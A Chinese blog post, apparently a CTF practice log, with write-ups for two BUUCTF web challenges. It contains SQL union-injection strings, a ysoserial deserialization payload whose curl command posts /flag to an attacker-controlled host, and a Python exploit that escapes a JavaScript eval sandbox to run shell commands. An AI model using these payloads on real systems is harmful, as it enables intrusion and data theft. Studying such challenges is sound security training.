刷题记录(七)

buuctf-Think-Java

题目给了附件,是几个class文件,反编译以后查看内容

其中导入了swagger框架,该框架提供了一个可视化的UI页面展示web应用的接口。方便调用和测试。访问/swagger-ui.html页面,得到接口如下:

审计反编译的代码,发现采用字符串拼接的方式构造sql语句,存在sql注入。如果dbName参数为空,默认的数据库名称为myapp

查询语句为:
String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";
构造dbName=myapp#'union select 1#进行联合注入查询,无效参数并不会影响数据库连接,查询结果:

得知表名为user,字段名有id、name、pwd。
查询用户名:dbName=myapp#'union select name from user#,得到name为admin
查询密码:dbName=myapp#'union select pwd from user#,得到pwd为admin@Rrrr_ctf_asde

返回结果:

返回data数据以rO0AB开头,是Java序列化后Base64编码的数据。
使用current接口发送以上序列化数据,系统返回了当前用户的用户名,说明该接口进行了反序列化:

使用ysoserial生成payload:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "curl xx.xx.xx.xx:xxxx -d @/flag" | base64 -w 0

在服务器上用nc命令监听相应端口。用cunrrent接口发送生成的反序列化数据即可在服务器上收到flag。

buuctf-验证🐎1

JavaScript类型比较:

>>console.log([1]==1)
true
>>console.log('1'==1)
true
>>console.log('1'===1)
false
>>console.log([1]===1)
false

JavaScript数据类型相加:

>>var a={'e':'cat /flag'}
>>var b = "str-1"
>>var c = a+b
>>typeof(c)
"string"
>>a+b
"[Object Object]str-1"
>>var d =[1,2,3]
>>d+b
"1,2,3str-1"

对象和字符串相加以后得到的是字符串。数组和字符串相加也是字符串。
长度length属性:

>>var num=1
>>var str='123'
>>var arr = [1,2,3]
>>num.length
undefined
>>str.length
3
>>arr.length
3

源码:

app.post('/', function (req, res) {
  let result = '';
  const results = req.session.results || [];
  const { e, first, second } = req.body;
  if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
    if (req.body.e) {
      try {
        result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
      } catch (e) {
        console.log(e);
        result = 'Wrong Wrong Wrong!!!';
      }
      results.unshift(`${req.body.e}=${result}`);
    }
  } else {
    results.unshift('Not verified!');
  }
  if (results.length > 13) {
    results.pop();
  }
  req.session.results = results;
  res.send(render(req.session.results));
});

first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])结合前面总结的特性,传入参数应该如下:

{"e":paylaod,"first":[0],"second":"0"}

saferEval函数可以执行命令,但是内部有过滤处理操作:

function saferEval(str) {
  if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return eval(str);
}

(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g匹配以Math开头的字符串,后面跟一个点和一个或多个字母,常见的运算符和符号、数字、空格。
替换所有匹配的内容为空,如果替换后的字符串为空,则if的条件为false,不会执行return null
因此这里只能用Math来RCE。
javascript性质:

>>a=x=>x*x
>>a(2)
4

x=>x*x相当于:

function(x){
	return x*x;
}

(x=>x*x)(2)相当于往这个函数里传入参数2。

>>var sum = Math.constructor.constructor('a','b','return a+b');
>>sum(1,2)
3
>>var fun = new Function('a','b','return a+b');
>>fun(1,2)
3

Math.constructor.constructor()和构造函数new Function()是等效的。Math换成别的函数结果一样。
最终Exp:

import requests
import json
headers = {
    "Content-Type":"application/json"
}
url = "yoururl"
data = {"e":'(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+1)',"first":[0],"second":"0"}
r = requests.post(url,data=json.dumps(data),headers=headers)
print(r.text)

Math.fromCharCode(...)中的内容是return process.mainModule.require('child_process').execSync('cat /flag')转成的ascii码。

posted @ 2023-09-10 16:06  ordigard  阅读(13)  评论(0编辑  收藏  举报